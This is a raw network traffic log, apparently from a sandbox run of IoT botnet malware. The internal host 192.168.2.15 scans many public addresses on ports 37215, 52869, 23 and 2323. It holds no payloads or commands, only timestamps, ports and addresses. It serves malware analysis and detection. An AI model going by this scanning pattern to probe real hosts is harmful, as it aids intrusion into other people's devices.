Oct 6, 2024 20:00:45.487556934 CEST	37215	49416	197.227.9.217	192.168.2.15
Oct 6, 2024 20:00:45.487561941 CEST	49416	37215	192.168.2.15	156.171.42.6
Oct 6, 2024 20:00:45.487565041 CEST	37215	49416	156.232.13.9	192.168.2.15
Oct 6, 2024 20:00:45.487586021 CEST	49416	37215	192.168.2.15	41.125.63.144
Oct 6, 2024 20:00:45.487591028 CEST	49416	37215	192.168.2.15	197.104.3.143
Oct 6, 2024 20:00:45.487591028 CEST	49416	37215	192.168.2.15	197.172.72.228
Oct 6, 2024 20:00:45.487610102 CEST	49416	37215	192.168.2.15	197.227.9.217
Oct 6, 2024 20:00:45.487610102 CEST	49416	37215	192.168.2.15	156.232.13.9
Oct 6, 2024 20:00:45.487612009 CEST	49416	37215	192.168.2.15	41.150.114.202
Oct 6, 2024 20:00:45.487637997 CEST	43324	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:45.487761021 CEST	39612	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:45.487909079 CEST	37215	49416	156.186.217.138	192.168.2.15
Oct 6, 2024 20:00:45.487919092 CEST	37215	49416	41.37.255.29	192.168.2.15
Oct 6, 2024 20:00:45.487927914 CEST	37215	49416	41.122.139.19	192.168.2.15
Oct 6, 2024 20:00:45.487936974 CEST	37215	49416	41.114.70.85	192.168.2.15
Oct 6, 2024 20:00:45.487942934 CEST	49416	37215	192.168.2.15	41.37.255.29
Oct 6, 2024 20:00:45.487946033 CEST	37215	49416	156.173.133.196	192.168.2.15
Oct 6, 2024 20:00:45.487955093 CEST	37215	49416	41.137.73.224	192.168.2.15
Oct 6, 2024 20:00:45.487958908 CEST	49416	37215	192.168.2.15	41.122.139.19
Oct 6, 2024 20:00:45.487963915 CEST	37215	49416	41.117.203.12	192.168.2.15
Oct 6, 2024 20:00:45.487966061 CEST	49416	37215	192.168.2.15	156.186.217.138
Oct 6, 2024 20:00:45.487967014 CEST	49416	37215	192.168.2.15	41.114.70.85
Oct 6, 2024 20:00:45.487973928 CEST	37215	49416	41.209.14.44	192.168.2.15
Oct 6, 2024 20:00:45.487982035 CEST	37215	49416	156.213.195.138	192.168.2.15
Oct 6, 2024 20:00:45.487986088 CEST	49416	37215	192.168.2.15	156.173.133.196
Oct 6, 2024 20:00:45.487988949 CEST	49416	37215	192.168.2.15	41.137.73.224
Oct 6, 2024 20:00:45.487992048 CEST	37215	49416	41.10.167.34	192.168.2.15
Oct 6, 2024 20:00:45.488003016 CEST	37215	49416	197.136.54.214	192.168.2.15
Oct 6, 2024 20:00:45.488004923 CEST	49416	37215	192.168.2.15	41.117.203.12
Oct 6, 2024 20:00:45.488004923 CEST	49416	37215	192.168.2.15	41.209.14.44
Oct 6, 2024 20:00:45.488018990 CEST	37215	49416	156.118.153.204	192.168.2.15
Oct 6, 2024 20:00:45.488029003 CEST	37215	49416	156.147.152.174	192.168.2.15
Oct 6, 2024 20:00:45.488029003 CEST	49416	37215	192.168.2.15	156.213.195.138
Oct 6, 2024 20:00:45.488038063 CEST	37215	49416	156.189.18.71	192.168.2.15
Oct 6, 2024 20:00:45.488043070 CEST	49416	37215	192.168.2.15	41.10.167.34
Oct 6, 2024 20:00:45.488043070 CEST	49416	37215	192.168.2.15	156.118.153.204
Oct 6, 2024 20:00:45.488046885 CEST	37215	49416	197.155.48.223	192.168.2.15
Oct 6, 2024 20:00:45.488049030 CEST	49416	37215	192.168.2.15	197.136.54.214
Oct 6, 2024 20:00:45.488055944 CEST	37215	49416	41.161.17.42	192.168.2.15
Oct 6, 2024 20:00:45.488065004 CEST	37215	49416	197.149.242.53	192.168.2.15
Oct 6, 2024 20:00:45.488073111 CEST	37215	49416	41.58.229.17	192.168.2.15
Oct 6, 2024 20:00:45.488074064 CEST	49416	37215	192.168.2.15	156.147.152.174
Oct 6, 2024 20:00:45.488074064 CEST	49416	37215	192.168.2.15	197.155.48.223
Oct 6, 2024 20:00:45.488075018 CEST	49416	37215	192.168.2.15	156.189.18.71
Oct 6, 2024 20:00:45.488082886 CEST	37215	49416	197.82.165.180	192.168.2.15
Oct 6, 2024 20:00:45.488091946 CEST	37215	49416	197.43.102.49	192.168.2.15
Oct 6, 2024 20:00:45.488101006 CEST	37215	49416	156.154.36.82	192.168.2.15
Oct 6, 2024 20:00:45.488102913 CEST	49416	37215	192.168.2.15	41.161.17.42
Oct 6, 2024 20:00:45.488102913 CEST	49416	37215	192.168.2.15	197.149.242.53
Oct 6, 2024 20:00:45.488110065 CEST	37215	49416	41.1.170.191	192.168.2.15
Oct 6, 2024 20:00:45.488116026 CEST	49416	37215	192.168.2.15	197.82.165.180
Oct 6, 2024 20:00:45.488117933 CEST	37215	49416	41.102.145.167	192.168.2.15
Oct 6, 2024 20:00:45.488117933 CEST	49416	37215	192.168.2.15	41.58.229.17
Oct 6, 2024 20:00:45.488127947 CEST	37215	49416	41.70.252.242	192.168.2.15
Oct 6, 2024 20:00:45.488137007 CEST	37215	49416	156.176.77.198	192.168.2.15
Oct 6, 2024 20:00:45.488146067 CEST	49416	37215	192.168.2.15	197.43.102.49
Oct 6, 2024 20:00:45.488146067 CEST	37215	49416	156.124.110.115	192.168.2.15
Oct 6, 2024 20:00:45.488147974 CEST	49416	37215	192.168.2.15	41.1.170.191
Oct 6, 2024 20:00:45.488152027 CEST	49416	37215	192.168.2.15	156.154.36.82
Oct 6, 2024 20:00:45.488157034 CEST	49416	37215	192.168.2.15	41.102.145.167
Oct 6, 2024 20:00:45.488157034 CEST	37215	49416	156.39.182.13	192.168.2.15
Oct 6, 2024 20:00:45.488157034 CEST	49416	37215	192.168.2.15	41.70.252.242
Oct 6, 2024 20:00:45.488163948 CEST	49416	37215	192.168.2.15	156.176.77.198
Oct 6, 2024 20:00:45.488177061 CEST	49416	37215	192.168.2.15	156.124.110.115
Oct 6, 2024 20:00:45.488195896 CEST	49416	37215	192.168.2.15	156.39.182.13
Oct 6, 2024 20:00:45.488317966 CEST	37215	49416	156.213.92.215	192.168.2.15
Oct 6, 2024 20:00:45.488327026 CEST	37215	49416	197.179.98.82	192.168.2.15
Oct 6, 2024 20:00:45.488331079 CEST	37215	49416	41.238.42.156	192.168.2.15
Oct 6, 2024 20:00:45.488338947 CEST	37215	49416	41.235.66.5	192.168.2.15
Oct 6, 2024 20:00:45.488358974 CEST	49416	37215	192.168.2.15	156.213.92.215
Oct 6, 2024 20:00:45.488362074 CEST	49416	37215	192.168.2.15	41.238.42.156
Oct 6, 2024 20:00:45.488373995 CEST	49416	37215	192.168.2.15	41.235.66.5
Oct 6, 2024 20:00:45.488392115 CEST	37215	49416	156.245.239.233	192.168.2.15
Oct 6, 2024 20:00:45.488394022 CEST	49416	37215	192.168.2.15	197.179.98.82
Oct 6, 2024 20:00:45.488401890 CEST	37215	49416	41.70.52.28	192.168.2.15
Oct 6, 2024 20:00:45.488409996 CEST	37215	49416	197.243.39.237	192.168.2.15
Oct 6, 2024 20:00:45.488419056 CEST	37215	49416	156.201.212.215	192.168.2.15
Oct 6, 2024 20:00:45.488426924 CEST	37215	49416	41.11.185.106	192.168.2.15
Oct 6, 2024 20:00:45.488435984 CEST	37215	49416	197.254.82.90	192.168.2.15
Oct 6, 2024 20:00:45.488440037 CEST	37215	49416	197.186.119.11	192.168.2.15
Oct 6, 2024 20:00:45.488442898 CEST	49416	37215	192.168.2.15	156.245.239.233
Oct 6, 2024 20:00:45.488442898 CEST	49416	37215	192.168.2.15	41.70.52.28
Oct 6, 2024 20:00:45.488445997 CEST	50952	23	192.168.2.15	114.241.248.25
Oct 6, 2024 20:00:45.488449097 CEST	37215	49416	41.99.187.147	192.168.2.15
Oct 6, 2024 20:00:45.488455057 CEST	50952	23	192.168.2.15	130.5.88.102
Oct 6, 2024 20:00:45.488455057 CEST	49416	37215	192.168.2.15	156.201.212.215
Oct 6, 2024 20:00:45.488460064 CEST	37215	49416	41.163.208.172	192.168.2.15
Oct 6, 2024 20:00:45.488465071 CEST	50952	2323	192.168.2.15	57.106.2.31
Oct 6, 2024 20:00:45.488465071 CEST	49416	37215	192.168.2.15	197.243.39.237
Oct 6, 2024 20:00:45.488470078 CEST	37215	49416	197.18.100.94	192.168.2.15
Oct 6, 2024 20:00:45.488470078 CEST	50952	23	192.168.2.15	198.200.174.120
Oct 6, 2024 20:00:45.488477945 CEST	50952	23	192.168.2.15	133.91.47.51
Oct 6, 2024 20:00:45.488478899 CEST	50952	23	192.168.2.15	63.66.190.161
Oct 6, 2024 20:00:45.488478899 CEST	50952	23	192.168.2.15	122.192.181.65
Oct 6, 2024 20:00:45.488481045 CEST	37215	49416	197.146.5.104	192.168.2.15
Oct 6, 2024 20:00:45.488482952 CEST	50952	23	192.168.2.15	117.2.93.224
Oct 6, 2024 20:00:45.488485098 CEST	50952	23	192.168.2.15	102.193.153.101
Oct 6, 2024 20:00:45.488485098 CEST	49416	37215	192.168.2.15	197.254.82.90
Oct 6, 2024 20:00:45.488485098 CEST	49416	37215	192.168.2.15	41.99.187.147
Oct 6, 2024 20:00:45.488491058 CEST	49416	37215	192.168.2.15	41.163.208.172
Oct 6, 2024 20:00:45.488495111 CEST	49416	37215	192.168.2.15	41.11.185.106
Oct 6, 2024 20:00:45.488495111 CEST	49416	37215	192.168.2.15	197.186.119.11
Oct 6, 2024 20:00:45.488495111 CEST	50952	23	192.168.2.15	193.255.24.44
Oct 6, 2024 20:00:45.488497972 CEST	50952	23	192.168.2.15	155.200.231.27
Oct 6, 2024 20:00:45.488497972 CEST	50952	2323	192.168.2.15	138.255.125.97
Oct 6, 2024 20:00:45.488502026 CEST	50952	23	192.168.2.15	102.158.214.119
Oct 6, 2024 20:00:45.488506079 CEST	50952	23	192.168.2.15	174.187.32.232
Oct 6, 2024 20:00:45.488506079 CEST	50952	23	192.168.2.15	125.213.194.146
Oct 6, 2024 20:00:45.488508940 CEST	50952	23	192.168.2.15	106.115.57.244
Oct 6, 2024 20:00:45.488509893 CEST	50952	23	192.168.2.15	198.177.187.65
Oct 6, 2024 20:00:45.488512039 CEST	50952	23	192.168.2.15	181.183.165.182
Oct 6, 2024 20:00:45.488512039 CEST	49416	37215	192.168.2.15	197.146.5.104
Oct 6, 2024 20:00:45.488514900 CEST	49416	37215	192.168.2.15	197.18.100.94
Oct 6, 2024 20:00:45.488514900 CEST	50952	23	192.168.2.15	82.186.130.2
Oct 6, 2024 20:00:45.488517046 CEST	50952	23	192.168.2.15	82.43.75.154
Oct 6, 2024 20:00:45.488522053 CEST	37215	49416	197.95.118.92	192.168.2.15
Oct 6, 2024 20:00:45.488527060 CEST	50952	2323	192.168.2.15	102.135.214.102
Oct 6, 2024 20:00:45.488528013 CEST	50952	23	192.168.2.15	31.227.175.144
Oct 6, 2024 20:00:45.488533020 CEST	37215	49416	41.144.203.47	192.168.2.15
Oct 6, 2024 20:00:45.488543034 CEST	50952	23	192.168.2.15	89.29.93.10
Oct 6, 2024 20:00:45.488543034 CEST	37215	49416	156.81.111.77	192.168.2.15
Oct 6, 2024 20:00:45.488548040 CEST	50952	23	192.168.2.15	184.58.233.244
Oct 6, 2024 20:00:45.488548040 CEST	50952	23	192.168.2.15	57.219.205.218
Oct 6, 2024 20:00:45.488553047 CEST	49416	37215	192.168.2.15	197.95.118.92
Oct 6, 2024 20:00:45.488554955 CEST	37215	49416	156.85.79.190	192.168.2.15
Oct 6, 2024 20:00:45.488565922 CEST	37215	49416	41.8.150.96	192.168.2.15
Oct 6, 2024 20:00:45.488569021 CEST	50952	23	192.168.2.15	35.12.235.127
Oct 6, 2024 20:00:45.488569021 CEST	49416	37215	192.168.2.15	41.144.203.47
Oct 6, 2024 20:00:45.488569021 CEST	50952	23	192.168.2.15	40.85.20.154
Oct 6, 2024 20:00:45.488574982 CEST	37215	49416	197.163.41.111	192.168.2.15
Oct 6, 2024 20:00:45.488583088 CEST	37215	49416	41.160.219.53	192.168.2.15
Oct 6, 2024 20:00:45.488588095 CEST	49416	37215	192.168.2.15	156.81.111.77
Oct 6, 2024 20:00:45.488590002 CEST	50952	23	192.168.2.15	125.45.129.211
Oct 6, 2024 20:00:45.488593102 CEST	49416	37215	192.168.2.15	156.85.79.190
Oct 6, 2024 20:00:45.488593102 CEST	37215	49416	156.221.252.176	192.168.2.15
Oct 6, 2024 20:00:45.488595009 CEST	49416	37215	192.168.2.15	41.8.150.96
Oct 6, 2024 20:00:45.488603115 CEST	37215	49416	197.110.11.186	192.168.2.15
Oct 6, 2024 20:00:45.488604069 CEST	49416	37215	192.168.2.15	41.160.219.53
Oct 6, 2024 20:00:45.488607883 CEST	49416	37215	192.168.2.15	197.163.41.111
Oct 6, 2024 20:00:45.488614082 CEST	37215	49416	156.109.36.84	192.168.2.15
Oct 6, 2024 20:00:45.488622904 CEST	37215	49416	197.184.94.163	192.168.2.15
Oct 6, 2024 20:00:45.488625050 CEST	49416	37215	192.168.2.15	156.221.252.176
Oct 6, 2024 20:00:45.488626003 CEST	37215	49416	156.80.126.122	192.168.2.15
Oct 6, 2024 20:00:45.488634109 CEST	50952	23	192.168.2.15	219.31.239.57
Oct 6, 2024 20:00:45.488634109 CEST	50952	2323	192.168.2.15	63.10.15.98
Oct 6, 2024 20:00:45.488641024 CEST	50952	23	192.168.2.15	125.116.166.223
Oct 6, 2024 20:00:45.488645077 CEST	49416	37215	192.168.2.15	197.110.11.186
Oct 6, 2024 20:00:45.488652945 CEST	49416	37215	192.168.2.15	156.109.36.84
Oct 6, 2024 20:00:45.488660097 CEST	37215	49416	197.39.224.158	192.168.2.15
Oct 6, 2024 20:00:45.488662004 CEST	49416	37215	192.168.2.15	156.80.126.122
Oct 6, 2024 20:00:45.488662004 CEST	49416	37215	192.168.2.15	197.184.94.163
Oct 6, 2024 20:00:45.488662004 CEST	50952	23	192.168.2.15	107.195.97.44
Oct 6, 2024 20:00:45.488670111 CEST	50952	23	192.168.2.15	72.69.84.58
Oct 6, 2024 20:00:45.488677979 CEST	50952	23	192.168.2.15	209.45.208.194
Oct 6, 2024 20:00:45.488678932 CEST	50952	23	192.168.2.15	213.143.71.98
Oct 6, 2024 20:00:45.488687992 CEST	50952	23	192.168.2.15	53.235.237.253
Oct 6, 2024 20:00:45.488687992 CEST	50952	23	192.168.2.15	112.143.37.50
Oct 6, 2024 20:00:45.488691092 CEST	49416	37215	192.168.2.15	197.39.224.158
Oct 6, 2024 20:00:45.488698006 CEST	50952	23	192.168.2.15	2.221.183.88
Oct 6, 2024 20:00:45.488702059 CEST	50952	23	192.168.2.15	145.104.56.71
Oct 6, 2024 20:00:45.488703012 CEST	50952	23	192.168.2.15	47.174.5.217
Oct 6, 2024 20:00:45.488712072 CEST	50952	23	192.168.2.15	163.159.69.128
Oct 6, 2024 20:00:45.488729000 CEST	50952	2323	192.168.2.15	112.239.116.245
Oct 6, 2024 20:00:45.488730907 CEST	50952	23	192.168.2.15	77.1.235.192
Oct 6, 2024 20:00:45.488730907 CEST	50952	23	192.168.2.15	153.72.203.186
Oct 6, 2024 20:00:45.488732100 CEST	50952	23	192.168.2.15	78.119.151.76
Oct 6, 2024 20:00:45.488733053 CEST	50952	23	192.168.2.15	43.73.219.141
Oct 6, 2024 20:00:45.488740921 CEST	50952	23	192.168.2.15	194.153.220.108
Oct 6, 2024 20:00:45.488753080 CEST	50952	23	192.168.2.15	19.117.245.12
Oct 6, 2024 20:00:45.488759041 CEST	50952	23	192.168.2.15	41.179.101.251
Oct 6, 2024 20:00:45.488759041 CEST	50952	23	192.168.2.15	5.212.2.128
Oct 6, 2024 20:00:45.488763094 CEST	50952	23	192.168.2.15	88.25.221.101
Oct 6, 2024 20:00:45.488766909 CEST	50952	2323	192.168.2.15	62.189.123.145
Oct 6, 2024 20:00:45.488776922 CEST	50952	23	192.168.2.15	187.0.52.71
Oct 6, 2024 20:00:45.488784075 CEST	50952	23	192.168.2.15	134.245.161.246
Oct 6, 2024 20:00:45.488784075 CEST	50952	23	192.168.2.15	106.144.46.156
Oct 6, 2024 20:00:45.488787889 CEST	50952	23	192.168.2.15	17.13.6.28
Oct 6, 2024 20:00:45.488787889 CEST	50952	23	192.168.2.15	113.186.36.221
Oct 6, 2024 20:00:45.488787889 CEST	50952	23	192.168.2.15	14.250.14.240
Oct 6, 2024 20:00:45.488791943 CEST	50952	23	192.168.2.15	84.3.38.134
Oct 6, 2024 20:00:45.488791943 CEST	50952	23	192.168.2.15	4.228.90.20
Oct 6, 2024 20:00:45.488792896 CEST	50952	23	192.168.2.15	126.136.169.248
Oct 6, 2024 20:00:45.488792896 CEST	50952	23	192.168.2.15	69.116.1.164
Oct 6, 2024 20:00:45.488794088 CEST	50952	2323	192.168.2.15	204.87.170.74
Oct 6, 2024 20:00:45.488795042 CEST	50952	23	192.168.2.15	67.154.22.103
Oct 6, 2024 20:00:45.488800049 CEST	50952	23	192.168.2.15	72.103.50.195
Oct 6, 2024 20:00:45.488811016 CEST	50952	23	192.168.2.15	93.187.240.136
Oct 6, 2024 20:00:45.488815069 CEST	50952	23	192.168.2.15	79.245.103.170
Oct 6, 2024 20:00:45.488818884 CEST	50952	23	192.168.2.15	223.244.40.192
Oct 6, 2024 20:00:45.488823891 CEST	50952	23	192.168.2.15	160.67.125.249
Oct 6, 2024 20:00:45.488825083 CEST	50952	23	192.168.2.15	97.200.197.14
Oct 6, 2024 20:00:45.488827944 CEST	37215	49416	197.36.248.106	192.168.2.15
Oct 6, 2024 20:00:45.488837004 CEST	50952	2323	192.168.2.15	152.104.240.122
Oct 6, 2024 20:00:45.488838911 CEST	37215	49416	156.53.135.75	192.168.2.15
Oct 6, 2024 20:00:45.488846064 CEST	50952	23	192.168.2.15	161.172.254.49
Oct 6, 2024 20:00:45.488847971 CEST	37215	49416	197.95.18.156	192.168.2.15
Oct 6, 2024 20:00:45.488851070 CEST	50952	23	192.168.2.15	117.36.30.108
Oct 6, 2024 20:00:45.488852978 CEST	50952	23	192.168.2.15	93.234.3.198
Oct 6, 2024 20:00:45.488852978 CEST	50952	23	192.168.2.15	85.175.50.224
Oct 6, 2024 20:00:45.488862038 CEST	49416	37215	192.168.2.15	197.36.248.106
Oct 6, 2024 20:00:45.488874912 CEST	49416	37215	192.168.2.15	156.53.135.75
Oct 6, 2024 20:00:45.488878965 CEST	49416	37215	192.168.2.15	197.95.18.156
Oct 6, 2024 20:00:45.488883018 CEST	50952	23	192.168.2.15	70.37.14.123
Oct 6, 2024 20:00:45.488888979 CEST	50952	23	192.168.2.15	165.212.176.70
Oct 6, 2024 20:00:45.488890886 CEST	50952	23	192.168.2.15	159.132.32.234
Oct 6, 2024 20:00:45.488902092 CEST	50952	23	192.168.2.15	173.120.154.187
Oct 6, 2024 20:00:45.488908052 CEST	50952	23	192.168.2.15	154.175.180.142
Oct 6, 2024 20:00:45.488912106 CEST	50952	2323	192.168.2.15	115.215.113.51
Oct 6, 2024 20:00:45.488914013 CEST	58404	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:45.488915920 CEST	37215	49416	156.188.26.47	192.168.2.15
Oct 6, 2024 20:00:45.488918066 CEST	50952	23	192.168.2.15	218.78.51.116
Oct 6, 2024 20:00:45.488919973 CEST	50952	23	192.168.2.15	187.69.129.145
Oct 6, 2024 20:00:45.488919973 CEST	50952	23	192.168.2.15	212.54.110.126
Oct 6, 2024 20:00:45.488926888 CEST	37215	49416	41.124.144.40	192.168.2.15
Oct 6, 2024 20:00:45.488929987 CEST	50952	23	192.168.2.15	190.90.36.26
Oct 6, 2024 20:00:45.488930941 CEST	50952	23	192.168.2.15	211.101.193.227
Oct 6, 2024 20:00:45.488931894 CEST	50952	23	192.168.2.15	84.215.62.33
Oct 6, 2024 20:00:45.488931894 CEST	50952	23	192.168.2.15	85.209.109.97
Oct 6, 2024 20:00:45.488936901 CEST	37215	49416	41.104.1.140	192.168.2.15
Oct 6, 2024 20:00:45.488945007 CEST	37215	49416	41.175.15.107	192.168.2.15
Oct 6, 2024 20:00:45.488946915 CEST	49416	37215	192.168.2.15	41.124.144.40
Oct 6, 2024 20:00:45.488949060 CEST	37215	49416	197.240.242.147	192.168.2.15
Oct 6, 2024 20:00:45.488951921 CEST	49416	37215	192.168.2.15	156.188.26.47
Oct 6, 2024 20:00:45.488953114 CEST	50952	23	192.168.2.15	13.226.203.216
Oct 6, 2024 20:00:45.488954067 CEST	37215	49416	156.67.63.130	192.168.2.15
Oct 6, 2024 20:00:45.488964081 CEST	37215	49416	41.159.204.211	192.168.2.15
Oct 6, 2024 20:00:45.488971949 CEST	49416	37215	192.168.2.15	197.240.242.147
Oct 6, 2024 20:00:45.488972902 CEST	37215	49416	41.131.216.173	192.168.2.15
Oct 6, 2024 20:00:45.488977909 CEST	50952	23	192.168.2.15	88.41.215.43
Oct 6, 2024 20:00:45.488977909 CEST	49416	37215	192.168.2.15	41.175.15.107
Oct 6, 2024 20:00:45.488977909 CEST	49416	37215	192.168.2.15	41.104.1.140
Oct 6, 2024 20:00:45.488982916 CEST	49416	37215	192.168.2.15	156.67.63.130
Oct 6, 2024 20:00:45.488984108 CEST	37215	49416	41.127.74.18	192.168.2.15
Oct 6, 2024 20:00:45.488991976 CEST	50952	2323	192.168.2.15	77.140.203.209
Oct 6, 2024 20:00:45.488993883 CEST	37215	49416	156.64.21.156	192.168.2.15
Oct 6, 2024 20:00:45.488995075 CEST	50952	23	192.168.2.15	27.233.45.117
Oct 6, 2024 20:00:45.488995075 CEST	50952	23	192.168.2.15	176.137.152.15
Oct 6, 2024 20:00:45.488997936 CEST	49416	37215	192.168.2.15	41.159.204.211
Oct 6, 2024 20:00:45.489002943 CEST	37215	49416	41.40.215.171	192.168.2.15
Oct 6, 2024 20:00:45.489005089 CEST	49416	37215	192.168.2.15	41.131.216.173
Oct 6, 2024 20:00:45.489011049 CEST	37215	49416	41.168.204.67	192.168.2.15
Oct 6, 2024 20:00:45.489017010 CEST	49416	37215	192.168.2.15	41.127.74.18
Oct 6, 2024 20:00:45.489022970 CEST	50952	23	192.168.2.15	94.26.60.230
Oct 6, 2024 20:00:45.489025116 CEST	49416	37215	192.168.2.15	156.64.21.156
Oct 6, 2024 20:00:45.489027023 CEST	50952	23	192.168.2.15	178.93.180.171
Oct 6, 2024 20:00:45.489028931 CEST	50952	23	192.168.2.15	190.21.154.169
Oct 6, 2024 20:00:45.489028931 CEST	49416	37215	192.168.2.15	41.40.215.171
Oct 6, 2024 20:00:45.489056110 CEST	50952	23	192.168.2.15	75.87.38.136
Oct 6, 2024 20:00:45.489056110 CEST	50952	23	192.168.2.15	2.144.58.228
Oct 6, 2024 20:00:45.489057064 CEST	37215	49416	41.86.225.59	192.168.2.15
Oct 6, 2024 20:00:45.489058018 CEST	50952	23	192.168.2.15	126.79.52.88
Oct 6, 2024 20:00:45.489067078 CEST	37215	49416	41.170.237.89	192.168.2.15
Oct 6, 2024 20:00:45.489070892 CEST	50952	2323	192.168.2.15	141.174.29.213
Oct 6, 2024 20:00:45.489070892 CEST	50952	23	192.168.2.15	218.84.194.161
Oct 6, 2024 20:00:45.489074945 CEST	50952	23	192.168.2.15	222.14.59.87
Oct 6, 2024 20:00:45.489075899 CEST	50952	23	192.168.2.15	220.227.122.137
Oct 6, 2024 20:00:45.489077091 CEST	50952	23	192.168.2.15	94.58.235.97
Oct 6, 2024 20:00:45.489078999 CEST	37215	49416	197.136.4.4	192.168.2.15
Oct 6, 2024 20:00:45.489078999 CEST	49416	37215	192.168.2.15	41.168.204.67
Oct 6, 2024 20:00:45.489078999 CEST	50952	23	192.168.2.15	119.67.69.250
Oct 6, 2024 20:00:45.489088058 CEST	50952	23	192.168.2.15	152.147.5.249
Oct 6, 2024 20:00:45.489089012 CEST	37215	49416	41.12.183.82	192.168.2.15
Oct 6, 2024 20:00:45.489097118 CEST	49416	37215	192.168.2.15	41.170.237.89
Oct 6, 2024 20:00:45.489099026 CEST	37215	49416	41.31.104.144	192.168.2.15
Oct 6, 2024 20:00:45.489099979 CEST	50952	23	192.168.2.15	190.46.172.101
Oct 6, 2024 20:00:45.489104033 CEST	50952	23	192.168.2.15	172.232.14.203
Oct 6, 2024 20:00:45.489104033 CEST	49416	37215	192.168.2.15	41.86.225.59
Oct 6, 2024 20:00:45.489108086 CEST	37215	49416	197.98.13.27	192.168.2.15
Oct 6, 2024 20:00:45.489115000 CEST	49416	37215	192.168.2.15	197.136.4.4
Oct 6, 2024 20:00:45.489115000 CEST	50952	23	192.168.2.15	103.170.97.191
Oct 6, 2024 20:00:45.489118099 CEST	50952	23	192.168.2.15	93.126.214.12
Oct 6, 2024 20:00:45.489123106 CEST	50952	2323	192.168.2.15	36.128.103.224
Oct 6, 2024 20:00:45.489123106 CEST	50952	23	192.168.2.15	105.28.59.226
Oct 6, 2024 20:00:45.489136934 CEST	49416	37215	192.168.2.15	41.31.104.144
Oct 6, 2024 20:00:45.489140034 CEST	49416	37215	192.168.2.15	41.12.183.82
Oct 6, 2024 20:00:45.489140034 CEST	49416	37215	192.168.2.15	197.98.13.27
Oct 6, 2024 20:00:45.489145041 CEST	50952	23	192.168.2.15	89.38.89.85
Oct 6, 2024 20:00:45.489150047 CEST	50952	23	192.168.2.15	125.60.107.55
Oct 6, 2024 20:00:45.489150047 CEST	50952	23	192.168.2.15	13.62.102.61
Oct 6, 2024 20:00:45.489157915 CEST	50952	23	192.168.2.15	123.85.7.63
Oct 6, 2024 20:00:45.489166975 CEST	50952	23	192.168.2.15	148.201.243.78
Oct 6, 2024 20:00:45.489171028 CEST	50952	23	192.168.2.15	90.244.22.106
Oct 6, 2024 20:00:45.489176989 CEST	50952	23	192.168.2.15	72.170.78.143
Oct 6, 2024 20:00:45.489176989 CEST	50952	23	192.168.2.15	179.201.223.125
Oct 6, 2024 20:00:45.489182949 CEST	50952	23	192.168.2.15	79.213.119.81
Oct 6, 2024 20:00:45.489187956 CEST	50952	23	192.168.2.15	204.164.30.182
Oct 6, 2024 20:00:45.489187956 CEST	50952	23	192.168.2.15	84.59.210.182
Oct 6, 2024 20:00:45.489191055 CEST	50952	23	192.168.2.15	133.252.90.123
Oct 6, 2024 20:00:45.489193916 CEST	50952	23	192.168.2.15	73.100.204.2
Oct 6, 2024 20:00:45.489202023 CEST	50952	23	192.168.2.15	75.253.76.145
Oct 6, 2024 20:00:45.489202023 CEST	50952	23	192.168.2.15	174.241.189.113
Oct 6, 2024 20:00:45.489202976 CEST	50952	2323	192.168.2.15	150.5.130.236
Oct 6, 2024 20:00:45.489202976 CEST	50952	23	192.168.2.15	200.60.10.13
Oct 6, 2024 20:00:45.489203930 CEST	37215	49416	41.2.115.227	192.168.2.15
Oct 6, 2024 20:00:45.489207983 CEST	50952	23	192.168.2.15	87.110.82.110
Oct 6, 2024 20:00:45.489208937 CEST	50952	2323	192.168.2.15	111.20.238.61
Oct 6, 2024 20:00:45.489213943 CEST	37215	49416	41.186.50.157	192.168.2.15
Oct 6, 2024 20:00:45.489223957 CEST	37215	49416	41.147.103.128	192.168.2.15
Oct 6, 2024 20:00:45.489231110 CEST	50952	23	192.168.2.15	190.247.106.82
Oct 6, 2024 20:00:45.489233017 CEST	49416	37215	192.168.2.15	41.2.115.227
Oct 6, 2024 20:00:45.489233971 CEST	37215	49416	41.247.238.124	192.168.2.15
Oct 6, 2024 20:00:45.489243984 CEST	37215	49416	41.179.111.50	192.168.2.15
Oct 6, 2024 20:00:45.489249945 CEST	50952	23	192.168.2.15	117.84.237.60
Oct 6, 2024 20:00:45.489249945 CEST	50952	23	192.168.2.15	193.218.103.181
Oct 6, 2024 20:00:45.489252090 CEST	37215	49416	41.58.154.143	192.168.2.15
Oct 6, 2024 20:00:45.489258051 CEST	49416	37215	192.168.2.15	41.147.103.128
Oct 6, 2024 20:00:45.489262104 CEST	50952	23	192.168.2.15	220.61.138.111
Oct 6, 2024 20:00:45.489262104 CEST	37215	49416	41.58.182.240	192.168.2.15
Oct 6, 2024 20:00:45.489262104 CEST	49416	37215	192.168.2.15	41.247.238.124
Oct 6, 2024 20:00:45.489264965 CEST	50952	23	192.168.2.15	58.136.44.133
Oct 6, 2024 20:00:45.489278078 CEST	49416	37215	192.168.2.15	41.179.111.50
Oct 6, 2024 20:00:45.489281893 CEST	49416	37215	192.168.2.15	41.186.50.157
Oct 6, 2024 20:00:45.489281893 CEST	49416	37215	192.168.2.15	41.58.154.143
Oct 6, 2024 20:00:45.489284992 CEST	50952	23	192.168.2.15	198.157.159.250
Oct 6, 2024 20:00:45.489289999 CEST	50952	23	192.168.2.15	151.53.146.251
Oct 6, 2024 20:00:45.489291906 CEST	50952	23	192.168.2.15	147.228.230.163
Oct 6, 2024 20:00:45.489289999 CEST	49416	37215	192.168.2.15	41.58.182.240
Oct 6, 2024 20:00:45.489298105 CEST	50952	23	192.168.2.15	85.56.184.183
Oct 6, 2024 20:00:45.489306927 CEST	50952	2323	192.168.2.15	148.2.137.91
Oct 6, 2024 20:00:45.489308119 CEST	50952	23	192.168.2.15	120.122.190.46
Oct 6, 2024 20:00:45.489314079 CEST	50952	23	192.168.2.15	78.100.20.227
Oct 6, 2024 20:00:45.489324093 CEST	50952	23	192.168.2.15	153.211.74.156
Oct 6, 2024 20:00:45.489324093 CEST	50952	23	192.168.2.15	87.112.124.189
Oct 6, 2024 20:00:45.489331961 CEST	50952	23	192.168.2.15	106.72.135.76
Oct 6, 2024 20:00:45.489331961 CEST	50952	23	192.168.2.15	63.169.36.39
Oct 6, 2024 20:00:45.489334106 CEST	50952	23	192.168.2.15	159.123.40.86
Oct 6, 2024 20:00:45.489346027 CEST	50952	23	192.168.2.15	40.137.110.251
Oct 6, 2024 20:00:45.489351034 CEST	50952	23	192.168.2.15	81.63.207.128
Oct 6, 2024 20:00:45.489355087 CEST	50952	23	192.168.2.15	8.32.127.88
